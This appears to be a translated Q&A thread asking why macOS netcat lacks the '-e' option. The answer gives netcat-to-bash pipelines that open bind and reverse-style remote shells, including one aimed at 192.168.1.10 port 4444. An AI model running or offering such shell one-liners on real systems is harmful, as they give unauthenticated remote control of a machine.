Osx

MacOS 上的 nc (netcat) 是否缺少“-e”標誌?

  • May 7, 2020

當我嘗試執行nc -l 1337 -e /bin/bash時,它說:

nc: invalid option -- e
usage: nc [-46AacCDdEFhklMnOortUuvz] [-K tc] [-b boundif] [-i interval] 
[-p source_port] [--apple-delegate-pid pid] [--apple-delegate-uuid uuid]
     [-s source_ip_address] [-w timeout] [-X proxy_version]
     [-x proxy_address[:port]] [hostname] [port[s]]

我想遠端執行命令,但它只是遠端列印文本。為什麼這不起作用,我該如何解決?

您不必使用nc -l 1337 -e /bin/bash. 相反,另一種工作方式完全相同的方法是nc -l 1337 | /bin/bash將接收到的所有內容輸出到/bin/bash.

或者試試nc target port | /bin/bash | nc target port

例子:

nc 192.168.1.10 4444 | /bin/bash | nc 192.168.1.10 4444

它將從第一個接收到的內容重定向到nc第二個。這是一種解決方法,但它有效。:) 否則只需安裝 ncat。/bin/bash``/bin/bash``nc

引用自:https://unix.stackexchange.com/questions/352490